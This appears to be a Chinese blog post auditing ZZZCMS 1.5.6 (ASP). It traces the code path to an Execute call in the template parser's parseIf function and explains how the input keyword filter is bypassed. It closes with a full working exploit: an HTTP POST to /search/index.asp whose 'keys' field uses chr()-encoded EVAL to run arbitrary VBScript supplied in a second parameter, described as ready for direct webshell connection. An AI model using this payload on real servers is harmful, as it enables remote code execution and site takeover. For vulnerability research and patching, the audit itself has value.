前言
在4年前在浏览一篇文章zzzcms php存在代码执行漏洞。我在想那么既然php存在漏洞那么asp版本有没有漏洞呢。于是在4年前就对这个开始审计了。当然这个漏洞审计出来分享给了内部团队的人也不能算了。我一个有才是day哈哈哈。这文章是审计是4年前写的。那会儿属于0day漏洞把。放出来学习学习asp版本的代码审计吧。需要懂asp代码虽然现在asp用的太少了。开始吧
源代码结构截图:
审计步骤重要以代码形式呈现
调用过程分析
C:\inetpub\wwwroot\index.asp
<!--#include file="inc/zzz_client.asp"-->
<%
if runMode="1" then aspgo(sitePath&"index"&siteExt)
%>
C:\inetpub\wwwroot\inc\zzz_client.asp
<!--#include file="zzz_template.asp"-->
<!--#include file="zzz_user.asp"-->
<!--#include file="ZZZ_Language.asp"-->
<!--#include file="ZZZ_plug.asp"-->
<%
if ISINSTALL=0 and isfolder(sitepath&"install") then alertgo "网站尚未安装,点击确定进入安装界面","/install"
dim act,module,Action,SubAction,id,page,Location,SID,iswap,tag,CPageName,islistpage,iscontentpage
if webMode=0 then goto404 siteHelp
act = GetForm("act","get")
page = GetForm("page","get")
SID = GetForm("SID","get")
ID = GetForm("id","get")
tag = GetForm("tag","get")
Location = getPagePath '不用带括号调用
C:\inetpub\wwwroot\inc\zzz_template.asp
function getPagePath()
response.write("call me!!!!!!")
dim NowPath,Modeltype
NowPath=getNowPagePath : NowPath=replacestr(replacestr(NowPath,"go/",""),"index.asp?","")
if ifstrin(NowPath,"list_") then
getPagePath="list"
elseif ifstrin(NowPath,"/") then
getPagePath=split(NowPath,"/")(1)
else
getPagePath=""
end if
end function
toLocation act,Location
%>
C:\inetpub\wwwroot\inc\zzz_class.asp
sub toLocation(act,Location)
dim data
if not isnul(act) then
call selectact(act)
elseif not isnul(Location) then
call selectLocation(Location)
else
Call Zhl.Run_index
end if
end sub
sub selectLocation(str)
if Asc(left(CPageName,1))<91 and Asc(left(CPageName,1))>64 then
if dbcount("[dbpre]sort","S_URL='"&CPageName&"' and S_onoff=1")>0 then
dim data : data=dbload("[dbpre]sort","sid,S_type",1,"S_URL='"&CPageName&"' and S_onoff=1","")
sid=data(0,0)
if ifstrin("product,news,photo,case,down,job,video",data(1,0)) then
Location="list"
else
Location=data(1,0)
end if
end if
end if
if ifPageName(CPageName) then
data=dbload("[dbpre]content","C_sid,CID",1,"C_pagename='"&CPageName&"'","")
sid=data(0,0)
id=data(1,0)
end if
Select Case Location
Case "about" : Call Zhl.Run_about(SID,Page)
Case "brand" : Call Zhl.Run_brand(id,page)
Case "list","screen","brandlist" : Call Zhl.Run_list(Location,SID,Page)
Case "tag" : Call Zhl.Run_tag(Location,Page)
Case "product","news","photo","case","down","job","video","content" : Call Zhl.Run_content(Location,sid,id,page)
Case "search" : Call Zhl.Run_search(Location,SID,Page)
Case "comment" : Call Run_comment(Location,SID,Page)
Case "submission" : Call Run_submission
Case "user" : Call Run_user
Case "shop" : Call Run_shop
Case "gbook" : Call Zhl.Run_gbook
Case "form" : Call Zhl.Run_form(id)
Case replace(adminPath,"/","") : aspgo sitepath&adminPath&"login.asp"
Case else : Call Zhl.Run_other()
'case else : echop request.serverVariables("URL")&"act:"&act&" Location:"&Location&" SID:"&SID&" id:"&id&" page:"&page
End Select
end sub
C:\inetpub\wwwroot\inc\zzz_template.asp
'生成[搜索结果]静态页面
Function Run_search(Location,sid,page)
dim rs,content,sql
searchkeys=enhtml(getform("keys","both"))
if not isnul(searchkeys) then setcookie "searchkeys",searchkeys else searchkeys=getcookie("searchkeys")
searchtype=enhtml(getform("type","both"))
if not isnul(searchtype) then setcookie "searchtype",searchtype else searchtype=getcookie("searchtype")
addcookie "cookiekeys",searchkeys&"|"&searchtype
Call Template_Int()'初始化模板
TempFile = TemplateFilePath&"search.html" '模板路径
call LoadParse()
call LoadlistParse
zhl.show()
End Function
C:\inetpub\wwwroot\inc\zzz_template.asp
Function Template_Int()
TemplatePath =sitepath &"template/pc/"& zset.PcTemplate
TemplateFilePath = sitepath &"template/pc/"&zset.PcTemplate&zset.PchtmlPath
Locationpath="<a href='"&sitePath&"'>"&str_index&"</a>"
CacheFolder =sitepath&CachePath
htmlFolder =sitepath&htmlDir
pluginspath =sitepath&"plugins/"
End Function
public sub LoadParse()
ZContent = loadFile(TempFile)
call ParseTopAndFoot()
call ParseGlobal() '底层基础
end sub
'扩展解析
public sub LoadlistParse()
call parseDBLoop() '列表循环
call parseDBLoop() '列表循环
call parseAdLoop() '广告
call ParseLabels() '自定义标签
call Parsepics() '相册
call LoadplugLoop()
call parsehidestr() '隐藏*
call parseleftstr() '左侧截取
call parseformatDate() '格式化时间
call parsecounts() '统计数量
call parseDBLoop() '列表循环
call parseIf("") '解析判断
end sub
'解析if
Public Function parseIf(str)
'response.write(str&"test")
'response.write("####################################3")
' Exit Function
on error resume next
if not ifStrin(Zcontent,"{if"&str&":") then Exit Function
dim mif,matchesIf,strIf,strThen,strThen1,strElse1,iflabel2,iflabel3
dim ifFlag,ElseArray,ElseIfSubArray,ElseArrayLen,ReStr,ElseLen,strElseIf,strElseIfThen,elseIfFlag
iflabel="{if"&str&":([\s\S]+?)}([\s\S]*?){end\s+if"&str&"}"
iflabel2="{elseif"&str&""
iflabel3="{else"&str&"}"
elseIfFlag=false
Zreg.Pattern=iflabel
set matchesIf=Zreg.Execute(Zcontent)
for each mif in matchesIf
strIf=mif.SubMatches(0):strThen=mif.SubMatches(1)
if instr(strThen,iflabel2)>0 then
ElseArray=split(strThen,iflabel2)
ElseArrayLen=ubound(ElseArray)
ElseIfSubArray=split(ElseArray(ElseArrayLen),iflabel3)
ReStr=ElseIfSubArray(1)
Execute("if "&strIf&" then ReStr=ElseArray(0)")
for ElseLen=1 to ElseArrayLen-1
strElseIf=getSubStrByFromAndEnd(ElseArray(ElseLen),":","}","")
strElseIfThen=getSubStrByFromAndEnd(ElseArray(ElseLen),"}","","start")
Execute("if "&strElseIf&" then ReStr=strElseIfThen")
Execute("if "&strElseIf&" then elseIfFlag=true else elseIfFlag=false")
if elseIfFlag then exit for
next
Execute("if "&getSubStrByFromAndEnd(ElseIfSubArray(0),":","}","")&" then ReStr=getSubStrByFromAndEnd(ElseIfSubArray(0),""}"","""",""start""):elseIfFlag=true")
Zcontent=replace(Zcontent,mif.value,ReStr)
else
if instr(strThen,"{else"&str&"}")>0 then
strThen1=split(strThen,iflabel3)(0)
strElse1=split(strThen,iflabel3)(1)
Execute("if "&strIf&" then ifFlag=true else ifFlag=false")
if err then die "判断标签有误请修正<br>"&strIf&err.number&err.description
if ifFlag then Zcontent=replace(Zcontent,mif.value,strThen1) else Zcontent=replace(Zcontent,mif.value,strElse1)
else
'response.write("---------------------"&vbcrlf)
' response.write(strIf&vbcrlf)
' response.write("---------------------"&vbcrlf)
Execute("if "&strIf&" then ifFlag=true else ifFlag=false") //漏洞点
'Execute(strIf)
'exit function
if err then die "判断标签有误请修正<br>"&strIf&err.number&err.description
if ifFlag then Zcontent=replace(Zcontent,mif.value,strThen) else Zcontent=replace(Zcontent,mif.value,"")
end if
end if
elseIfFlag=false
next
set matchesIf=nothing
if ifStrin(Zcontent,"{if1:") then parseIf("1") else Exit Function
if ifStrin(Zcontent,"{if2:") then parseIf("2") else Exit Function
if ifStrin(Zcontent,"{if3:") then parseIf("3") else Exit Function
if ifStrin(Zcontent,"{if4:") then parseIf("4") else Exit Function
if ifStrin(Zcontent,"{if5:") then parseIf("5") else Exit Function
End Function
C:\inetpub\wwwroot\inc\zzz_mian.asp
'获得表单
public function getForm( byval element,byval getType) //过滤post请求参数 这个可以绕过
on error resume next
getType=lcase(getType)
dim s,e
select case getType
case "get","both"
if isRewrite and URLQueryString<>"" then
aArray = split(URLQueryString,"&")
element = lcase(element)
for iI = 0 To ubound(aArray)
i = instr(aArray(iI),"=")
if i > 0 then
e = lcase(left(aArray(iI),i-1))
if element = e then s = mid(aArray(iI),i+1)
end if
next
end if
if s="" then s = request.queryString(element)
if getType="both" and s="" then s = request.form(element)
case "post"
s = request.form(element)
end select
'如果参数里面有下面这个字符那么直接报错 大写绕过
if ifstrin(s,"execute") or ifstrin(s,"request") or ifstrin(s,"eval") or ifstrin(s,"script") or ifstrin(s,"爠煥敵瑳") or ifstrin(s,"┠") or ifstrin(s,"┼") then
getForm=""
errlog filterPara(s),""
if evalsendmail=1 then sendmail Receive_email,zset.siteTitle&"网站有人试图注入,IP"&getip(),"网址:"&zset.siteUrl&"</br>项目:留言信息</br>表单:"&element&"</br>类型:"&getType&"</br>语句:"&s
goto404 "请不要尝试注入,您的ip已记录"
else
getForm = enhtml(trim(s))
end if
if err.number<>0 then err.clear
end function
function enhtml(byval strs) '过滤脚本 可以绕过
reg.pattern ="<script.+?/script>"
strs=reg.replace(strs,"")
reg.pattern ="<iframe.+?/iframe>"
strs=reg.replace(strs,"")
strs = Replace(strs,"%","%")
'strs=replace(strs,"&","&")
strs=replace(strs,"'","'")
strs=replace(strs,"""",""")
'strs=replace(strs,"<","<")
'strs=replace(strs,">",">")
reg.pattern="(w)(here)"
strs=reg.replace(strs,"$1here")
reg.pattern="(s)(elect)"
strs=reg.replace(strs,"$1elect")
reg.pattern="(i)(nsert)"
strs=reg.replace(strs,"$1nsert")
reg.pattern="(e)(xecute)"
strs=reg.replace(strs,"$exeeute")
reg.pattern="(r)(equest)"
strs=reg.replace(strs,"$reepuest")
reg.pattern="(c)(reate)"
strs=reg.replace(strs,"$1reate")
reg.pattern="(d)(rop)"
strs=reg.replace(strs,"$1rop")
reg.pattern="(a)(lter)"
strs=reg.replace(strs,"$1lter")
reg.pattern="(d)(elete)"
strs=reg.replace(strs,"$1elete")
reg.pattern="(u)(pdate)"
strs=reg.replace(strs,"$1pdate")
reg.pattern="(\s)(or)"
strs=reg.replace(strs,"$1or")
reg.pattern="(java)(script)"
strs=reg.replace(strs,"$1script")
reg.pattern="(j)(script)"
strs=reg.replace(strs,"$1script")
reg.pattern="(vb)(script)"
strs=reg.replace(strs,"$1script")
if instr(strs,"expression")<>0 then
strs=replace(strs,"expression","e­xpression",1,-1,0)
end if
enhtml=strs
end function
存在漏洞的点为:
Execute(“if “&strIf&” then ifFlag=true else ifFlag=false”)
exp: 蚁剑直接连接
zzzcms 1.5.6 asp EXP
POST /search/index.asp HTTP/1.1
Host: www.fuckcms.com
Content-Length: 159
Cache-Control: max-age=0
Origin: http://www.fuckcms.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://www.fuckcms.com/search/
Accept-Language: zh-CN,zh;q=0.9
Cookie: zzz847_usercheck=0; zzz847_keys=sdasfsdf; ASPSESSIONIDQQACCRSD=NOPNDKFAENGFMJJFGPOKKHIG; ASPSESSIONIDSSAABRTC=JNBLPMFANFHIGFALOMABOGEO; ASPXSpy=; ASPSESSIONIDQQBADRSC=DMOFDLGAMMPMACNNOIPJICJC; zzz%5F=errval=%3Ca+href%3D%27http%3A%2F%2Fzzzcms%2Ecom%2Fnews%2F%3Fbits32%2Ehtml%27+target%3D%27%5Fblank%27%3E1%2E%E6%A3%80%E6%9F%A5%E6%98%AF%E5%90%A6%E5%90%AF%E7%94%A832%E4%BD%8D%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E3%80%82%3C%2Fa%3E%3Cbr%3E%3Ca+href%3D%27http%3A%2F%2Fzzzcms%2Ecom%2Fnews%2F%3Ffolderaccess%2Ehtml%27+target%3D%27%5Fblank%27%3E2%2E%E6%A3%80%E6%9F%A5%E6%95%B0%E6%8D%AE%E5%BA%93%E6%96%87%E4%BB%B6%E5%A4%B9%E6%9D%83%E9%99%90%E3%80%82%3C%2Fa%3E&cookiekeys=xxxxxxx%7C%2Cxxxx%7C%2Ccccc%7C%2C111%7C&oldpath=8Lk9Sk6Mc%2F&errdesc=&question=test&siteurl=http%3A%2F%2Fwww%2Efuckcms%2Ecom%2F&errtitle=%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%9E%E6%8E%A5%E5%A4%B1%E8%B4%A5&password=49ba59abbe56e057&dbdata=1&username=admin&dbtype=0&searchkeys=xxxxxxx&errid=0&answer=test&sitename=test
Connection: close
keys={if:EVAL(EVAL(chr(114)%2bchr(101)%2bchr(113)%2bchr(117)%2bchr(101)%2bchr(115)%2bchr(116))(chr(97)))}{end if}&a=response.write(chr(98)%2bchr(98)%2bchr(99))
执行截图
总结
代码审计要全方位多语言审计才能发现别人发现不了的或者不会的东东。今天就到这里吧。这里主要是展示漏洞执行流程和绕过防护进行代码执行。